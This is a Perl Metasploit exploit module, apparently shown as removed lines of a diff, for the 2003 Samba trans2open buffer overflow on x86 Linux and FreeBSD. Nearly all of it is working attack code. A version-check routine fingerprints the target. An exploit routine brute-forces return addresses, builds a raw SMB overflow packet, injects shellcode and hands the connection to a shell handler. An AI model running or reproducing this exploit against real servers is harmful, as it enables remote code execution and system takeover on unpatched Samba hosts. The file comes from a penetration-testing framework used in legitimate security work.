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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::samba_trans2open;
- use base 'Msf::Exploit';
- use strict;
- use Pex::Text;
- use Pex::SMB;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'Samba trans2open Overflow',
- 'Version' => '$Revision: 1.37 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'linux', 'bsd' ],
- 'Priv' => 1,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The samba port', 139],
- 'SRET', => [0, 'DATA', 'Use specified return address'],
- 'DEBUG' => [0, 'BOOL', 'Enable debugging mode'],
- },
-
- 'Payload' =>
- {
- 'Space' => 734,
- 'BadChars' => "\x00",
- 'Keys' => ['+findsock'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This exploits the buffer overflow found in Samba versions
- 2.2.0 to 2.2.8. This particular module is capable of
- exploiting the bug on x86 Linux and FreeBSD systems.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '4469'],
- ['URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
- ['MIL', '53'],
- ],
-
- 'Targets' =>
- [
- ["Linux x86", 0xbffffdfc, 0xbfa00000, 512, "RWRWDDRD"],
- ["FreeBSD x86", 0xbfbffdfc, 0xbf100000, 512, "RWDWDDDD"],
- ],
-
- 'Keys' => ['samba'],
-
- 'DisclosureDate' => 'Apr 7 2003',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- );
- if ($s->IsError) {
- $self->PrintLine("[*] Error creating socket: " . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- my $x = Pex::SMB->new({ 'Socket' => $s });
-
- $x->SMBNegotiate();
- if ($x->Error) {
- $self->PrintLine("[*] Error negotiating protocol");
- return $self->CheckCode('Generic');
- }
-
- $x->SMBSessionSetup();
- if ($x->Error) {
- $self->PrintLine("[*] Error setting up session");
- return $self->CheckCode('Generic');
- }
-
- my $version = $x->PeerNativeLM();
- $s->Close;
-
- if (! $version) {
- $self->PrintLine("[*] Could not determine the remote Samba version");
- return $self->CheckCode('Generic');
- }
-
- $self->PrintDebugLine(1, 'LanMan: '.$version);
- $self->PrintDebugLine(1, ' OpSys: '.$x->PeerNativeOS);
-
- if ($version =~ /samba\s+([01]|2\.0|2\.2\.[0-7]|2\.2\.8$)/i) {
- $self->PrintLine("[*] Target seems to running vulnerable version: $version");
- return $self->CheckCode('Appears');
- }
-
- $self->PrintLine("[*] Target does not seem to be vulnerable: $version");
- return $self->CheckCode('Safe');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode =$self->GetVar('EncodedPayload')->Payload;
-
- my $target = $self->Targets->[$target_idx];
-
- my $curr_ret;
-
- $self->PrintLine("[*] Starting bruteforce mode for target ".$target->[0]);
-
- if ($self->GetVar('SRET'))
- {
- my $ret = eval($self->GetVar('SRET')) + 0;
- $target->[1] = $target->[2] = $ret;
- }
-
- for (
- $curr_ret = $target->[1];
- $curr_ret >= $target->[2];
- $curr_ret -= $target->[3]
- )
- {
- my $Ret = pack("V", $curr_ret);
- my $Wri = pack("V", ($curr_ret - 128));
- my $Dat = "META";
- my $Addr;
-
- foreach (split(//, $target->[4]))
- {
- $Addr .= $Ret if $_ eq "R";
- $Addr .= $Wri if $_ eq "W";
- $Addr .= $Dat if $_ eq "D";
- }
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- my $x = Pex::SMB->new({ 'Socket' => $s });
-
- $x->SMBNegotiate();
- if ($x->Error) {
- $self->PrintLine("[*] Error negotiating protocol");
- return;
- }
-
- $x->SMBSessionSetup();
- if ($x->Error) {
- $self->PrintLine("[*] Error setting up session");
- return;
- }
-
- $x->SMBTConnect("\\\\127.0.0.1\\IPC\$");
- if ($x->Error) {
- $self->PrintLine("[*] Error connecting to IPC");
- return;
- }
-
- my $Overflow =
- "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
- "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90";
-
- $Overflow .= $shellcode;
- $Overflow .= "A" x 297;
- $Overflow .= $Addr . ("\x00" x 273);
-
- $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret));
-
- if ($self->GetVar('DEBUG'))
- {
- print STDERR "[*] Press enter to send overflow string...\n";
- <STDIN>;
- }
-
- $s->Send($Overflow);
- $s->Send("\x00" x 810);
-
- # handle client side of shellcode
- $self->Handler($s);
-
- # give the payload time to execute
- sleep(5) if ($self->GetVar('SRET'));
-
- $s->Close();
- undef($s);
- }
- return;
- }
-
-